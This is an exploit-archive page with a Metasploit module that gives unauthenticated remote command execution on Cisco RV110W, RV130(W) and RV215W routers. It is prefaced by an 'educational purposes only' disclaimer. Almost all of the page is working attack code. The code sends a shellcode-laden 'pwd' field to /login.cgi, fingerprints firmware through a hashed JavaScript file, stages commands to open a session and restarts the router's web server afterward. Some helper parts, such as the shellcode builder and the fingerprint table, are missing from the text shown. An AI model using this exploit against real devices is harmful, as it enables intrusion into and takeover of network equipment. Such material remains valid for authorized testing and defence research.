Exploits / Vulnerability Discovered : 2019-09-03 |
Type : remote |
Platform : hardware
This exploit / vulnerability Cisco rv110w/rv130(w)/rv215w routers management interface remote command execution (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution',
'Description' => %q{
A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall,
Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router
could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
system of the affected device as a high-privilege user.
RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.
RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.
def send_request(buffer)
begin
send_request_cgi({
'uri' => '/login.cgi',
'method' => 'POST',
'vars_post' => {
"submit_button": "login",
"submit_type": "",
"gui_action": "",
"wait_time": 0,
"change_action": "",
"enc": 1,
"user": rand_text_alpha_lower(5),
"pwd": buffer,
"sel_lang": "EN"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
end
end
def check
# We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users.
# We use lang_pack/EN.js because it's the one file that changes the most between versions.
# Note that it's not a smoking gun given that some branches keep the exact same files in /www
# (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x)
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'lang_pack/EN.js')
})
if res && res.code == 200
fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}")
if fingerprints.key?(fingerprint)
print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}")
return fingerprints[fingerprint]["status"]
else
print_status("Couldn't reliably fingerprint the target.")
end
end
Exploit::CheckCode::Unknown
end
def exploit
print_status('Sending request')
execute_cmdstager
end
def execute_command(cmd, opts = {})
shellcode = prepare_shellcode(cmd.to_s)
send_request(shellcode)
end
def on_new_session(session)
# Given there is no process continuation here, the httpd server will stop
# functioning properly and we need to take care of proper restart
# ourselves.
print_status("Reloading httpd service")
reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""
else
session.shell_command(reload_httpd_service)
end
ensure
super
end
end